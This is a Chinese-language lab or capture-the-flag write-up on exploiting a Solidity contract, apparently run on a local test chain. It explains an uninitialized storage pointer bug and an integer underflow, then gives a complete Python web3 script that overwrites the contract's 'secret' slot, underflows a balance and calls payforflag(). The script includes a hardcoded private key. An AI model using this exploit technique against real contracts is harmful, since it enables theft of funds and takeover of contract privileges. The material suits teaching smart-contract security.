系列文章目錄
文章目錄
- 系列文章目錄
- 未初始化的存儲指針實戰二
- 實驗目的
- 實驗環境
- 實驗工具
- 實驗原理
- 實驗內容
- 實驗過程
- EXP利用
未初始化的存儲指針實戰二
實驗目的
學會使用python3的web3模塊
學會分析以太坊智能合約未初始化的存儲指針漏洞
找到合約漏洞進行分析并形成利用
實驗環境
Ubuntu18.04操作機
實驗工具
python3
實驗原理
在solidity語言中,像動態的數組、struct、mapping這樣的復雜數據結構是不能直接在”棧”里面保存的,因為”棧”里只能保存單獨的”字”,也就是只能保存實際數據長度小于等于32字節的簡單數據類型。所以在solidity智能合約函數中聲明動態數組和struct時,必須明確指明其位置在storage還是memory中。
函數內聲明的struct若未初始化,若對其賦值,則會按照Solidity存儲規則從slot 0開始存儲,覆蓋之前slot位置的變量,造成不可預想的控制流劫持。
實驗內容
合約中內置了未初始化的存儲指針和整數溢出問題,找到合約漏洞并形成利用,把合約中的flag變量設置為true即可
使用python3的web3模塊遠程利用漏洞并獲取flag
實驗地址為nc ip 10008
實驗過程
獲取合約地址和合約源代碼
nc ip 10008連接到題目,輸入1,獲取部署合約的game account及token
打開http://ip,輸入上述分配的game account,點擊Request獲取eth
nc ip 10008連接到題目,輸入2,獲取部署合約的地址及new token
nc ip 10008連接到題目,輸入4,獲取合約源代碼,或者在題目附件找到合約源代碼
分析合約源代碼漏洞
題目要求將合約中的flag變量設置為true
分析代碼邏輯,需要滿足balanceOf[msg.sender] >= 10000000,但是并未有可以增加balanceOf[msg.sender]的代碼
漏洞在ubw函數中,函數中的第二個分支不存在初始化,n在執行的時候會形成未初始化漏洞,那么只要我們進入第二個分支就會修改storage中的第一個值為我們的地址,第二個值為2
第一個值為secret 因此通過未初始化漏洞我們可以執行onlySecret修飾的 fate函數,fate函數中存在整數溢出漏洞
通過整數溢出,我們可以獲得大量余額,然后payforflag即可將flag設置為true
EXP利用
用python編寫自動化exp,將下述contract_address替換成自己的題目合約地址即可,總共包括三個步驟:一是調用題目合約ubw()函數并轉賬3 wei,這樣就會進入到else分支,將slot 0位置的secret覆蓋成msg.sender,就可以滿足onlySecret;二是調用題目合約fate(0,1)函數,因為balanceOf[msg.sender]=0,此時0-1會產生整數下溢,滿足require的條件;三是調用題目合約payforflag()函數,因為此時balanceOf[msg.sender]由于整數下溢漏洞已經變成一個很大的數,滿足>=10000000的要求,可將flag設置為true
from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0x2880bF5Afe97F3bF983598E135474D743AC366C3"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receiptset_solc_version_pragma('^0.4.23')# call ubw() in ETH8 with 3 wei
data = Web3.keccak(text='ubw()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 3e-18)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):print("call ubw() success")time.sleep(5)# call fate(0,1) in ETH8
data = Web3.keccak(text='fate(address,uint256)').hex()[:10]
data += '0'*64
data += '1'.rjust(64, '0')
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
# print(txn_receipt)
if(txn_receipt['status']==1):print("call fate(0,1) success")time.sleep(5)# call payforflag() in ETH8
data = Web3.keccak(text='payforflag()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
# print(txn_receipt)
if(txn_receipt['status']==1):print("call payforflag() success")
執行exp
nc ip 10008連接到題目,輸入3,輸入之前的new token,獲取flag